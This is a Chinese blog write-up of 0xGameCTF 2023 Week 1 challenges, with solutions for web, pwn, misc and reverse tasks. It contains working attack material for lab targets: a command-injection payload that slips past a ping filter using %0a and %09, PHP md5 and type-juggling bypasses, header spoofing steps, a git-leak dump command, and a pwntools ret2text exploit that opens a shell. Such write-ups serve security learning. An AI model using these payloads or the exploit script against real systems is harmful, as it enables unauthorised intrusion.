目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. signin
    2. 2.2. baby_php
    3. 2.3. hello_http
    4. 2.4. repo_leak
    5. 2.5. ping
  3. 3. Pwn
    1. 3.1. 找不到且不对劲的flag
    2. 3.2. 永远进不去的后门
  4. 4. Misc
    1. 4.1. SignIn
  5. 5. Reverse
    1. 5.1. 数字筑基

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

0xGameCTF Week1

2023/10/1 CTF线上赛
  |     |   总文章阅读量:

前言

南邮的新生赛,只摸了下web和几题pwn,其它方向能签到就签到

Web

signin

flag在main.js里

image-20231001164639209


baby_php

php特性

源码

<?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $c = $_POST['c'];
    $name = $_COOKIE['name'];

    if ($a != $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
            include($name.'.php');
        }
    }
}

首先分别以get,post,cookie方式传入4个参数

第二个判断是md5弱比较绕过,指路:https://c1oudfl0w0.github.io/blog/2023/03/15/PHP%E7%89%B9%E6%80%A7/#md5%E7%AD%89%E6%95%88%E5%80%BC%E7%BB%95%E8%BF%87

第三个判断是php弱类型,要求$c 不是一个数字,不等于1024,转换为整数后的值等于1024,那就传个带小数的字符串进去就能实现绕过

最后include读取文件需要用到伪协议,指路:https://c1oudfl0w0.github.io/blog/2023/03/15/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/

image-20231001165500861

然后base64解码得到flag


hello_http

http

一:The GET parameter query must be ctf,GET请求

二:The POST form action must be getflag,POST请求

三:Your are not admin,修改cookie值

四:Only allow local IP,伪造ip加xff头

五:You are not using HarmonyOS Browser,修改UA头

六:Only allow access from ys.mihoyo.com,加Referer头

image-20231001170916366


repo_leak

git版本泄露

进入靶机,notice文章告诉我们:There is noting here.Using Git for version control

那就是git泄露了,但是我这里用GitHacker脱库了一下没有找到有价值的信息

搜索一番后选择另一个工具Git_Extract:https://github.com/gakki429/Git_Extract

注意是python2环境

python git_extract.py http://124.71.184.68:50013/.git/

在post文件夹中找到flag

image-20231001181010137


ping

命令执行

一开始测试的时候发现有前端拦截,那就抓包到burpsuite里重放

发现分号用不了,那就%0a替代

然后发现空格也用不了,那就%09替代

这样就可以读源码了127.0.0.1%0acat%09api.php

先看看源码

<?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

发现把/过滤了,于是我们需要手动把目录切换到根目录读取flag

ip=127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0acat%09f*

image-20231001182608375


Pwn

找不到且不对劲的flag

根目录的flag是假的

ls -a查看全部文件包括被隐藏的文件

可以发现.secret文件夹,里面的flag是真的

image-20231002001029640


永远进不去的后门

ret2text

checksec一下发现是64位开NX

ida64反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h]

  bufinit(argc, argv, envp);
  puts("Welcome to 0xGame2023!");
  puts("Tell me sth interesting, and I will give you what you want.");
  read(0, buf, 0x100uLL);
  if ( v5 % 2023 == 2023 )
    system("/bin/sh");
  else
    puts("Not that interesting. Bye.");
  return 0;
}

直接把system("/bin/sh")暴露出来了,前面使用了read函数,可以进行溢出,rbp偏移0x40

然后在system函数处tab切换到汇编视图,得到/bin/sh的地址

image-20231002222008821

编写exp:

from pwn import *

p = remote("8.130.35.16", "51002")

offset = 0x40+0x8
get_flag_addr = 0x401298
payload = offset * b'a' + p64(get_flag_addr)
p.recvuntil(b'Tell me sth interesting, and I will give you what you want.')
p.sendline(payload)
p.interactive()

image-20231002222706634


Misc

SignIn

cyberchef一把梭base64+base32


Reverse

数字筑基

ida f5反编译即可得到flag